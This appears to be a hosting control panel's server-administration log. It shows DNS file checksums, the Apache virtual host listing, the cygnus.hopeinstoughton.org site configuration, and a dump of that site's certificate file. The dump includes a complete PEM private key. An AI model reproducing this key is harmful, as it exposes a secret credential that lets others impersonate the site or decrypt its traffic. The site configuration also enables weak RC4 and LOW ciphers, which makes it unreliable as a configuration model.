MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-01-03 19:07:01: Establishing a connection
2026-01-03 19:07:02: 

PUT: /tmp/pkp386568

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-01-03 19:07:03: 

chmod 755 /tmp/pkp386568; /tmp/pkp386568; rm /tmp/pkp386568

2026-01-03 19:07:03: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
         port 80 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
         port 80 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:1)
         port 80 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:1)
         port 80 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:1)
         port 80 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:3)
*:443                  is a NameVirtualHost
         default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
         port 443 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
         port 443 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:37)
         port 443 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:22)
         port 443 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:22)
         port 443 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:28)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2026-01-03 19:07:03: 

PUT: /tmp/pkp413156

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-available/hopeinstoughton_cygnus_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-03 19:07:04: 

chmod 755 /tmp/pkp413156; /tmp/pkp413156; rm /tmp/pkp413156

2026-01-03 19:07:04: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/hopeinstoughton_cygnus_org.conf	2965
<VirtualHost *:80>
    ServerName	cygnus.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/cygnus/public
    <Directory /var/www/cygnus/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cygnus_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cygnus_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.php
    #    RewriteEngine       On
#    RewriteCond %{REQUEST_METHOD} !POST
#    RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
    ProxyRequests	Off
    ProxyPreserveHost	On
    RewriteEngine	On
    
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/(.*) ws://127.0.0.1:8080/$1  [P,L]
    ProxyPassReverse	/ http://127.0.0.1:8080/
    
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/webrtc/(.*) ws://127.0.0.1:8000/$1  [P,L]
    ProxyPass	/webrtc/ http://127.0.0.1:8000/
    ProxyPassReverse	/webrtc/ http://127.0.0.1:8000/
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	cygnus.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/de5c0e727038623f544d9b5f10eaf734
    DocumentRoot	/var/www/cygnus/public
    <Directory /var/www/cygnus/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    ProxyRequests	Off
    ProxyPreserveHost	On
    RewriteEngine	On
    
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/(.*) ws://127.0.0.1:8080/$1  [P,L]
    ProxyPassReverse	/ http://127.0.0.1:8080/
    
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/webrtc/(.*) ws://127.0.0.1:8000/$1  [P,L]
    ProxyPass	/webrtc/ http://127.0.0.1:8000/
    ProxyPassReverse	/webrtc/ http://127.0.0.1:8000/
    
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/qwerty/(.*) ws://192.168.1.19/$1  [P,L]
    
    #<Location /qwerty/>
#    ProxyHTMLEnable On
#    ProxyHTMLExtended On
#   ProxyPassReverse /
#   SetOutputFilter  proxy-html
#   ProxyHTMLURLMap / ./
#</Location>
#    ProxyPass  /qwerty/ http://192.168.1.19/
#    ProxyPassReverse /qwerty/ http://192.168.1.19/
    
    CustomLog	/var/log/apache2/hopeinstoughton/cygnus_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cygnus_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.php
</VirtualHost>







2026-01-03 19:07:04: 

PUT: /tmp/pkp830800

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/de5c0e727038623f544d9b5f10eaf734')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-03 19:07:04: 

chmod 755 /tmp/pkp830800; /tmp/pkp830800; rm /tmp/pkp830800

2026-01-03 19:07:05: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/de5c0e727038623f544d9b5f10eaf734	5393
cb:e0:5a:1a:86:8b:72:2b:5a:be:05:ab:9a:16:a3:d0

-----BEGIN CERTIFICATE-----
MIIFGjCCBAKgAwIBAgISBdt0mXJZhKosSEE/D8Pgrg9vMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMTAzMTY1MzA3WhcNMjYwNDAzMTY1MzA2WjAlMSMwIQYDVQQD
ExpjeWdudXMuaG9wZWluc3RvdWdodG9uLm9yZzCCASIwDQYJKoZIhvcNAQEBBQAD
ggEPADCCAQoCggEBAL6FEOblmWBpj/p7H71hQWaCucqOWppi0LG1A5T6s3ponF51
YVeKycDTdPhqMp8sDDV4EhPeT6FZR5EJg0kEBtrFZ9WOU/6EKeXnsQXSCp0iNCr3
eGE7UZ1+gHIg/6xRmU4ypqk/0SSWMdKGppEVogKuO8rFPIECAI8FUBWC004OIX4s
YoWsq9NWkVdVKXd/55E3r0d6ccV2pNGAJiu2+Nj02QGJyqxPFN2gpBcggZcwcOiO
4mmjAPc4V1+Sxzd/5c4JorGJdeqylbomSza8UHAzIlss0XJyXQpQ/8vHBnccenvu
XhSUx+KeOSFk0Ib8/Gg02fNrZUp9y1FeSZVCgL8CAwEAAaOCAjQwggIwMA4GA1Ud
DwEB/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0T
AQH/BAIwADAdBgNVHQ4EFgQUmEjvRsyKLV1a2VWYL8suoqqtNZEwHwYDVR0jBBgw
FoAU56ufDywzoFPTXk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUF
BzAChhdodHRwOi8vcjEzLmkubGVuY3Iub3JnLzAlBgNVHREEHjAcghpjeWdudXMu
aG9wZWluc3RvdWdodG9uLm9yZzATBgNVHSAEDDAKMAgGBmeBDAECATAvBgNVHR8E
KDAmMCSgIqAghh5odHRwOi8vcjEzLmMubGVuY3Iub3JnLzExMi5jcmwwggENBgor
BgEEAdZ5AgQCBIH+BIH7APkAdwCWl2S/VViXrfdDh2g3CEJ36fA61fak8zZuRqQ/
D8qpxgAAAZuE/HpVAAAEAwBIMEYCIQCu/Znw5lG7YOLXpvfrxbLFRTM5KAQBb9Uy
L+qoWsbDDQIhALq2uJNGsyOlKksBc+2xF49XpifrOmWwI7O13QhgJ4CIAH4AcX6V
88I4im2x44RJPTHhWqliCHYtQgDgBQzQZ7WmYeIAAAGbhPx67AAIAAAFAAXt6u4E
AwBHMEUCIQCHYW1IQWNBY4oxv+gvCsi4oTzyYkEskfl2G043i3BLqgIgJxKbgcX6
FrO2lCXdVFLe5qRA7mJ6QfeiTLflQofGXUcwDQYJKoZIhvcNAQELBQADggEBAByu
oGAyfdT6PK4t2v9OlUuShIj7wl1+QXaBb4f7NW59uSsuOv6OgKAARHmJlTzz9zi4
DZEWOiVWg8OtkuaCJK/ZD+Kr1Jn2w2EQRLOjIR5qjbhVZNQA3XqiSRyzdLUmOERN
ZG6RYUfI7Ph4xFJ0sUuoNAX7SW5Z2whpzxq4GagoN4ZbBu+3Nkd+ALq+D27u+64S
h3xeIzEiDn15lyraKMzRV9ZF+ztHelwOPIBATQplg1BtNYIjHFUcZpxtp+nZQEPv
Sx96f3zg+Qff40T3oo73xbmkPYic9SKsyPZIqcAxsLXCG02oHkeQ/OFWeO6S1MKp
clY91ZTr/pcxv8iTcwk=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC+hRDm5ZlgaY/6
ex+9YUFmgrnKjlqaYtCxtQOU+rN6aJxedWFXisnA03T4ajKfLAw1eBIT3k+hWUeR
CYNJBAbaxWfVjlP+hCnl57EF0gqdIjQq93hhO1GdfoByIP+sUZlOMqapP9EkljHS
hqaRFaICrjvKxTyBAgCPBVAVgtNODiF+LGKFrKvTVpFXVSl3f+eRN69HenHFdqTR
gCYrtvjY9NkBicqsTxTdoKQXIIGXMHDojuJpowD3OFdfksc3f+XOCaKxiXXqspW6
Jks2vFBwMyJbLNFycl0KUP/LxwZ3HHp77l4UlMfinjkhZNCG/PxoNNnza2VKfctR
XkmVQoC/AgMBAAECggEAXoe8tqwmWXmXOEO+IGOwpRHo6JGQb/jmrr3vbIyl3+8m
4xFfvqV87IGfEKD0xBiBaEhOw+/y185qHZM4QlLOqd734bTQhUEDXvECWy54GLY/
ZzBJ2QirOrdpOPeZlGEabXvhSKoC9iHVz60C2Yr/y0+zGC2cEzCwoUYUEdBLUvcB
fN7uGcYFULkbbdPtbUUnSPKZj7ZxGMkkLuZPInFZq/5ZFlDA/CV74eA0xtmfpifX
EY4EQDsX4Zhe+CXYuP6U4PPnZVddaToYYal1IRvriTGagED7J/MXGrUsHOaxvGkT
hhJwuoOcQxECTylCGyF2uL1Fe8hv7nFktlNeUUg63QKBgQDo4ZGOJq4MJLbb+Gf9
JYoI2HjEQ6wTcu8BTr0XNBgaASVnT0OE/p5QGCeGstTYthI9EmGd0t30e1wpxfEg
mJii8UKvBheryGpHjyhTh16eYUF4+HwSY227Wgbzuc53DlBIZm+G4ZIysemllZld
5T5B1nkW2+Tfec1UO0aKs4xFgwKBgQDRbu2aayw2ubuaqMf/DfqrAFM7QDSQtK09
KF8tbbsLwQPK+69BiMeYYuQCSCC737uDP8zOMpRI05NV6n5EonWcs4aoJSZzL/EG
I4Onu8PctjCwV5cO94ow9hUUxdr8QZrervtKJg+QCkXSCsLKJz/clOP0TbnApQ9u
oRqiP19vFQKBgBnrMQX/LBPR6kAlL32vNeOyJA7D8Vzgx9T/bHAurhgG1KDg44Tj
yb7kUVHeiW3tJa6CYzbrhyR0rlc/3oxgL2zDKUbNiMjnr1xzhGt3f4JlFKJgFX7+
bfISHP/3SBFcGHdWX0dFx724q2ZwdfdLUliFhEiVBK4SolWjm0BIp239AoGATOwo
Wwo4IBWR4VlSs8xnoD0rVNzdMbUa2Bam9qGSDNwkz34nvbNGVCMmSexCEZ84WRmq
2KVdL25+dBT/safV+Os7bzDN8YrPRQjwR0BAzSUhtvNE6VtkJ12LGqkdKH/UKSwt
4ese1jHfuSj4qJVH8HXDUCzoJ+i4RVLo3GTYYY0CgYEAoBkIBHoFZYSZmI/5X3Uj
RDoG2FiXESbDrkHwFE5WD7JyuCc6m5OJ9uwqoOlayVBsNaRPr5/fuXF8CoDR/DIP
QJ02AZyhxz3VFn+A3wZdQ2Ppvs0L3Lfki4ZpcrMrJCq0rLpzXiEnXFv95dsi3KbP
3gzLrhTHTnzA5nW+aTVR76E=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





